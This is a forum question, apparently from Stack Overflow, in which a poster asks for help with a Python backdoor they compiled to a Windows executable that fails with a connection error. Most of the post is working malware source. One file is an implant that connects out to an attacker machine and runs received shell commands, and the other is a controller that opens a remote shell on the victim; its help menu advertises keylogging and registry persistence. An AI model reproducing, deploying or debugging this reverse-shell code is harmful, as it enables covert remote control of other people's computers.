'cant establish connection with port using python app

I made a back door using pythonpicture of error message, and compiled it to an application (.exe) file on windows, using pyinstaller command,

the process works by using 2 files; 1 is malicious which stays on the target machine and the other one opens a shell on the attacker machine,, to gain control of the infected machine.

but while testing the malicious application on my windows environment ("it's my own machine so I have permission to test on it ") I saw that I was facing " win error 10060"

as far as I understand by the windows error message; it is saying it can't communicate with the attacker machine

(check the image and code to get a better idea of the problem .)

what can I do to avoid this ?

malicious_file.py

import socket
import json
import subprocess
import  os


def reliable_send(data):
    jsondata = json.dumps(data)
    s.send(jsondata.encode())



def reliable_recv():
    data =''
    while True:
        try:
            data = data + s.recv(1024).decode().rstrip()
            return json.loads(data)
        except ValueError:
            continue


def download_file(file_name):
    f = open(file_name, 'wb')
    s.settimeout(1)
    chunk = s.recv(1024)
    while chunk:
        f.write(chunk)
        try:
            chunk = s.recv(1024)
        except socket.timeout as e:
            break
    s.settimeout(None)
    f.close()



def shell():
    while True:
        command = reliable_recv()
        if command == 'quit':
            break
        elif command == 'help':
            pass
#       elif command == 'clear':
#           pass
        elif command[:3] == 'cd ':
            os.chdir(command[3:])
        elif command[:6] == 'upload':
            download_file(command[7:])
        else:
            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            result = execute.stdout.read() + execute.stderr.read()
            result = result.decode()
            reliable_send(result)




s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 5548))
shell()

shell_opener_server.py

import socket
import termcolor
import json



def reliable_recv():
    data =''
    while True:
        try:
            data = data + target.recv(1024).decode().rstrip()
            return json.loads(data)
        except ValueError:
            continue



def reliable_send(data):
    jsondata = json.dumps(data)
    target.send(jsondata.encode())

def upload_file(file_name):
    f = open(file_name, 'rb')
    target.send(f.read())





def target_ccommunication():
    while True:
        command = input('* Shell-%s: ' % str(ip))
        reliable_send(command)
        if command == 'quit':
            break
        elif command[:3] == 'cd ':
            pass
        elif command[:6] == 'upload':
            upload_file(command[7:])
        elif command == 'help':
             print(termcolor.colored('''\n
             quit                                       -->            Quit Session with the target 
             clear                                      -->            Clean the screen 
             cd *Dir name*                              -->            Changes directory on target system
             upload *file name*                         -->            upload file to target machine
             download *file name*                       -->            Download file from target machine
             keylog_start                               -->            Start the keylogger
             keylog_dump                                -->            Print keystrokes that the target inputted
             keylog_stop                                -->            stop and self-destruct keylogger file
             persistence *Regname* *file name*          -->            Creat persistance in registry'''), "green")
        else:
            result = reliable_recv()
            print(result)





sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('10.0.2.15', 5555))
print(termcolor.colored('[+] Listening For The Incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target Connected FROM : ' + str(ip), 'green'))
target_ccommunication()p


Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source